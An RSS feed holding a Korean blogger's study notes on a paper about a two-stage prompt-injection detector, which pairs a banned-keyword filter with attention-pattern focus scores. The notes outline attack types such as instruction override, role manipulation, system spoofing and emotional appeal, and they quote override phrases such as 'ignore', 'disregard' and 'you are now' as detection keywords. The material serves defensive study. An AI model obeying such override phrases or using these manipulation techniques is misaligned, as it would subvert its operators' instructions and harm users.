<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>batterygj 님의 블로그</title>
    <link>https://batterygj.tistory.com/</link>
    <description>batterygj 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Tue, 2 Jun 2026 12:00:23 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>batterygj</managingEditor>
    <image>
      <title>batterygj 님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8197265/attach/b51ad6f15d374ae4a8a70792790545c7</url>
      <link>https://batterygj.tistory.com</link>
    </image>
    <item>
      <title>[4] 논문분석 [어텐션 패턴 분석을 활용한 다층 프롬프트 인젝션 탐지 프레임워크]</title>
      <link>https://batterygj.tistory.com/80</link>
      <description>&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&lt;/a&gt;&lt;/h3&gt;
&lt;figure id=&quot;og_1779801483964&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;[논문]어텐션 패턴 분석을 활용한 다층 프롬프트 인젝션 탐지 프레임워크&quot; data-og-description=&quot;대규모 언어 모델(LLM)의 활용이 확대됨에 따라 사용자 입력을 악용하여 모델의 보안 정책을 우회하는 프롬프트 인젝션 공격이 급증하고 있다. 이를 방지하기 위해 제안된 기존의 방어 기법들은 &quot; data-og-host=&quot;scienceon.kisti.re.kr&quot; data-og-source-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&quot; data-og-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/op7uF/dJMb9jgDIqa/lUUYE8K2T5aOy1HgJgAaok/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270&quot;&gt;&lt;a href=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO202613372046599&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/op7uF/dJMb9jgDIqa/lUUYE8K2T5aOy1HgJgAaok/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[논문]어텐션 패턴 분석을 활용한 다층 프롬프트 인젝션 탐지 프레임워크&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;대규모 언어 모델(LLM)의 활용이 확대됨에 따라 사용자 입력을 악용하여 모델의 보안 정책을 우회하는 프롬프트 인젝션 공격이 급증하고 있다. 이를 방지하기 위해 제안된 기존의 방어 기법들은&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;scienceon.kisti.re.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/OLWwI/dJMcaf7L7OE/eyKsv0CoqarHogHvc9mLs1/KCI_FI003330245.pdf?attach=1&amp;amp;knm=tfile.pdf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;KCI_FI003330245.pdf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;1.30MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;논문 선정 이유&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;생성형 AI 도입이 늘면서 프롬프트 인젝션 공격이 급증하고 있다는 경향을 보게 되었다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;프롬프트 인젝션에 대해 좀더 알아보고 이를 탐지하고 방어하기 위한 방식에 대해 공부하기 위해 이 논문을 선정하게 되었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;1. 서론&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;- 프롬프트 인젝션: 공격자가 악의적인 지시문을 사용자 입력이나 외부 데이터에 삽입하여 모델이 시스템 정책을 우회하도록 유도하는 공격 기법&lt;br /&gt;&lt;br /&gt;- 최신 모델(ex. GPT-4o)도 외부 웹페이지에 삽입된 악성 지시로 내부 정보가 유출됨.&lt;br /&gt;(단순한 명령어 우회를 넘어 역할 조작, 문맥 교란 등 공격 기법 정교해짐)&lt;br /&gt;&lt;br /&gt;- 기존 소프트웨어 보안: 정형화된 입력 검증 기법으로 공격 탐지&lt;br /&gt;&amp;lt;-&amp;gt; LLM: 자연어를 입력어로 처리 -&amp;gt; 기존 검증기법 적용 어렵(자연어의 비정형적 특성은 악의적 지시를 정상적인 문장 속제 은밀히 삽입하는 것을 가능하게 함: 프롬프트 인젝션의 핵심 취약점) &lt;br /&gt;&lt;br /&gt;- 기존 방어 기법 한계: 정확도와 처리 속도 간의 trade-off 문제 해결 못함&lt;br /&gt;- 규칙 기반 방식 ( ex) 금지어 기반 필터링 ) : 지연시간 낮음. 그러나 단어 변형이나 문맥 교란에 취약, 정교한 공격 탐지 불가&lt;br /&gt;- 모델 기반 탐지 기법 ( ex) BERT ) : 문맥적 특징을 학습하여 높은 탐지율 보임. 그러나 연산비용이 크고 추론시간이 긺 -&amp;gt; 실시간 서비스 환경 적용 어렵&lt;br /&gt;&lt;br /&gt;- Attention Tracker(어텐션 패턴 분석 기법) : 추가학습없이 공격탐지가능. 단일 모델로 다양한 공격유형 포괄적 탐지어렵&lt;br /&gt;&lt;br /&gt;- 금지어 기반 필터링의 경량성과 Attention Tracker 기반 어텐션 패턴 분석의 정밀성을 결합한 다층 프롬프트 인젝션 탐지 프레임워크 제안.&lt;br /&gt;1단계: 금지어 필터링으로 명시적인 공격 패턴을 신속하게 차단하여 시스템 부하 최소화&lt;br /&gt;2단계: 1단계를 통과한 입력에 대해 LLM에 어텐션 가중치 변화를 분석하여 문맥 조작, 역할 변경, 감정 호소 등 정교한 공격 탐지&lt;br /&gt;=&amp;gt; focus score를 통해 모델이 시슽메 명령에 할당하는 주의 집중도의 변화를 정량화하며 공격여부를 효과적으로 판별&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;2. 프롬프트 인젝션 공격 유형&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.21.56.png&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7VJa4/dJMb990RxKa/khrfjlkkww2G56rb6dqhI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7VJa4/dJMb990RxKa/khrfjlkkww2G56rb6dqhI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7VJa4/dJMb990RxKa/khrfjlkkww2G56rb6dqhI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7VJa4%2FdJMb990RxKa%2Fkhrfjlkkww2G56rb6dqhI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;311&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.21.56.png&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;- 명령어 우회 공격(Direct Instruction Override Attack)&lt;br /&gt;: 시스템 프롬프트를 무시하도록 직접 지시. 기존 명령을 무력화하고 새로운 지시를 실행하도록 유도&lt;br /&gt;(상대적으로 구조화된 패턴을 가지고 있어 키워드 기반 필터링을 통한 탐지 용이)&lt;br /&gt;&lt;br /&gt;- 역할 조작 공격(Role Manipulation Attack)&lt;br /&gt;: 모델에게 특정 역할이나 페르소나를 부여하여 보안 정책을 우회하는 공격. 모델의 정쳊성을 재정의하여 내부 방어 메커니즘을 비활성화&lt;br /&gt;&lt;br /&gt;- 시스템 위장 공격(System Command Spoofing)&lt;br /&gt;: 입력을 시스템 관리자 또는 개발자의 명령으로 위장. 시스템 메시지 형식을 모방하여 모델이 이를 신뢰할 수 있는 명령으로 인식하게 함&lt;br /&gt;&lt;br /&gt;- 문맥 조작 공격(Context Manipulation Attack)&lt;br /&gt;: 대화의 문맥을 조작하여 새로운 악성 지시 삽입. 이전 대화를 무효화하고 새로운 작업의 전환 유도&lt;br /&gt;(모델의 순차적 처리 특성과 문맥 의존성을 악용하며, 다중 턴 대화에서 특히 효과적)&lt;br /&gt;&lt;br /&gt;- 코드 삽입 공격(Code Injection Attack)&lt;br /&gt;: 실행 가능한 코드나 위험한 시스템 명령을 프롬프트에 삽입. 코드 실행을 요청하거나, SQL 인젝션과 유사한 방식으로 데이터베이스 쿼리 조작&lt;br /&gt;&lt;br /&gt;- 감정 호소형 공격(Social Engineering Attack)&lt;br /&gt;:긴급성이나 감정적 표현을 사용하여 모델의 동정심 유발하고 정책을 간접적으로 우회하도록 유도. 감정에 호소하여 민감한 정보를 요청&lt;br /&gt;(명시적 악성 키워드가 없어 키워드 기반 탐지 어렵)&lt;br /&gt;&lt;br /&gt;=&amp;gt; 명시적 공격 패턴을 빠르게 차단하는 규칙 기반 방식과 간접적인 공격을 탐지하는 모델 기반 방식을 결합한 다층적 방어 체계 필요&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;3. 관련 연구&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;3.1 규칙 기반 탐지&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: 사전 정의된 패턴을 기반으로 악성 입력 식별&lt;br /&gt;- 우회 기법에 취약 ex)공격자읭 동의어 사용, 문장 구조 변형, 유니코드 문자 대체&lt;br /&gt;- 명시적인 공격 키워드가 없는 간접적 공격 탐지 어려움 ex) 역할 조작, 감정 호소&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;대표 기법&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금지어 기반 필터링(Blacklist Filtering)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: 공격에 자주 사용되는 키워드(ignore, override, disregard 등) 사전 정의, 입력에 해당 키워드가 포함되면 차단. &lt;br /&gt;- 구현이 간단하고 처리 지연 거의 없어 실시간 서비스에 적합. 알려진 공격 패턴에 대해 높은 탐지율&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정규 표현식 기반 패턴 매칭&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: ignore, instruction, you are now 와 같이 공격 문장의 구조적 패턴을 정규식으로 정의하여 탐지하는 방식&lt;br /&gt;- 단순 키워드 매칭보다 유연하게 변형된 표현을 탐지 가능&lt;br /&gt;- 패턴 설계에 전문 지식이 필요하고 복잡한 패턴은 성능 저하를 유발할 수있음&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;안전 지시문 강화(Prompt Hardening)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;3.2 모델 기반 탐지&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: 머신러닝 또는 딥러닝 모델을 활용하여 입력의 문맥적 특징을 학습하고 규칙 기반으로 탐지하기 어려운 정교한 공격 식별&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Q. Lan&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 미세 조정된 BERT 기반 분류 모델을 활용한 탐지 시스템을 제안하여 높은 정확도 달성&lt;br /&gt;&lt;br /&gt;- 모델 학습에 대량의 레이블링 된 데이터 필요&lt;br /&gt;- 추론 시 상당한 연산 비용 발생&lt;br /&gt;=&amp;gt; 실시간 서비스 환경 적용 어렵&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Attention Tracker&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: LLM 내부의 어텐션 패턴을 추적해 공격 탐지&lt;br /&gt;- 정상적인 입력에서는 모델의 마지막 토큰 어텐션이 기존 시스템 명령어에 집중하지만, 프롬프트 인젝션 공격이 발생하면 어텐션이 삽입된 악성 명령어로 이동한다는 점을 활용&lt;br /&gt;- 추가적 학습, 외부 모델 없이 LLM 자체의 어텐션 가중치만으로 공격 탐지 가능&lt;br /&gt;&lt;br /&gt;- 단일 모델만으로 다양한 공격유형 포괄적 탐지 어렵&lt;br /&gt;- 임계값 설정에 따라 오답률 변동 가능&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;3.3 활성화 조작 기반 탐지&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: 모델 내부의 표현 공간을 직접 모니터링하고 제어하여 공격 방어&lt;br /&gt;(특정 레이어에서 고유한 활성화 패턴이 나타난다는 점을 이용)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;3.4 기존 연구의 한계&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.22.47.png&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l80Fr/dJMcaaMbbwE/x3FeA84Amsgkfef1KGwVHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l80Fr/dJMcaaMbbwE/x3FeA84Amsgkfef1KGwVHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l80Fr/dJMcaaMbbwE/x3FeA84Amsgkfef1KGwVHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl80Fr%2FdJMcaaMbbwE%2Fx3FeA84Amsgkfef1KGwVHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;336&quot; height=&quot;368&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.22.47.png&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;4. 어텐션 패턴 분석 기반 프롬프트 인젝션 탐지 프레임워크&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;4.1 프레임워크&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;다층방어 프레임워크 전체구조&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.23.18.png&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E3fhQ/dJMcaglkj3k/a7KDG74K2HxKUShFAgzZO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E3fhQ/dJMcaglkj3k/a7KDG74K2HxKUShFAgzZO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E3fhQ/dJMcaglkj3k/a7KDG74K2HxKUShFAgzZO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE3fhQ%2FdJMcaglkj3k%2Fa7KDG74K2HxKUShFAgzZO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;308&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.23.18.png&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;1. 사용자 입력 들어옴&lt;br /&gt;2. 1단계 금지어 기반 필터링(Banned Termes Filtering)을 통해 명시적인 공격 패턴을 검사하여 공격으로 판별되면 즉시 차단하고, 통과한 입력에 대해서만 Focous Score 추출 수행&lt;br /&gt;3. 추출된 Focus Score는 2단계 Attention Tracker로 전달되어 임곗값과 비교 후 최종 탐지 결정&lt;br /&gt;(2단계 구조의 핵심 설계원칙&lt;br /&gt;1. 1단계에서 계산 비용이 적은 규칙 기반 필터링으로 명시적인 공격 빠르게 차단 -&amp;gt; 전체 시스템 부하 최소화&lt;br /&gt;2. 1단계를 통과한 입력에 대해 비교적 연산 비용이 큰 어텐션 분석을 수행해 정교한 간접 공격 탐지)&lt;br /&gt;&lt;br /&gt;==&amp;gt; 정확도와 처리 속도 간의 trade-off 문제 해결&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;4.2 1단계: 금지어 기반 필터링&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;: 사용자 입력에 포함된 악성 키워드를 검사하여 직접적 공격 사전 차단&lt;br /&gt;(문자열 검색만 수행하므로 계산 비용 거의 발생X)&lt;br /&gt;=&amp;gt; 명시적 공격 패턴을 가진 입력을 빠르게 식별하여 차단, 전체 시스템의 처리 부하 최소화&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;검사 대상키워드(공격 특성에 따라 5가지로 분류)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.23.49.png&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZGasE/dJMcabxx37r/rkphQGoRO6NGQuCOQvSng0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZGasE/dJMcabxx37r/rkphQGoRO6NGQuCOQvSng0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZGasE/dJMcabxx37r/rkphQGoRO6NGQuCOQvSng0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZGasE%2FdJMcabxx37r%2FrkphQGoRO6NGQuCOQvSng0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;366&quot; height=&quot;247&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.23.49.png&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;- 악성 코드 패턴(Malicious Code Patterns)&lt;br /&gt;: 시스템 명령 실행을 시도하는 코드 삽입 공격 탐지. 프로그래밍 언어나 운영체제의 위험한 명령어 패턴 포함&lt;br /&gt;&lt;br /&gt;- 이스케이핑 문자(Escaping Characters)&lt;br /&gt;: 특수문자나 인코딩을 이용한 우회시도 탐지&lt;br /&gt;&lt;br /&gt;- 조작적 표현(Manipulative instruction)&lt;br /&gt;: 명령어 우회 공격에서 자주 사용되는 표현 탐지. 기존 시스템 명령을 무시하도록 유도하는 문구 포함&lt;br /&gt;&lt;br /&gt;- 스팸 유도 표현(Spam Triggers)&lt;br /&gt;: 사용자를 속이거나 악성 행위를 유도하는 스팸성 문구 탐지&lt;br /&gt;&lt;br /&gt;- 일반적인 주입 패턴(Common Injection Patterns)&lt;br /&gt;: 시스템 메시지로 위장하는 공격 탐지. 권한을 사칭하는 형식 포함&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;4.3 Focus Score 추출&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: LLM이 기존 시스템 명령어에 얼마나 집중하고 있는지를 정량적으로 측정하는 지표&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(정상적 입력에서는 주로 기존 시스템 명령어에 집중됨&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt;-&amp;gt; 프롬프트 인젝션 공격 발생: 모델은 삽입된 악성 명령어를 더 중요 정보로 인식해 어텐션이 해당 위치로 이동)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어텐션 분포의 변화를 포착해 공격 여부 판별&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음의 세단계로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 입력 처리(input Processing)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 중요 헤드 선택(Important Head Selection)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 점수 집계(Score Aggregation)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;4.4 2단계: Attention Tracker &amp;nbsp;기반 탐지&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 추출된 Focus Score를 사전 정의된 임곗값 t와 비교해 최종 탐지 결정 내림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐지규칙&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.37.22.png&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/opdKP/dJMcabddU1X/1cku2yS7VVPnqsjLjUZW71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/opdKP/dJMcabddU1X/1cku2yS7VVPnqsjLjUZW71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/opdKP/dJMcabddU1X/1cku2yS7VVPnqsjLjUZW71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FopdKP%2FdJMcabddU1X%2F1cku2yS7VVPnqsjLjUZW71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;320&quot; height=&quot;48&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.37.22.png&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임곗값t: 학습 데이터셋에서 정상과 공격 입력의 Focus Score 분포를 분석해 결정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 너무 높은 임계값: 오탐(False Positive. 정상입력을 공격으로 오인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 너무 낮은 임계값: 미탐(False Negative. 탐지못함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구에서는 F1 Score를 최대화하는 임계값 선택&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
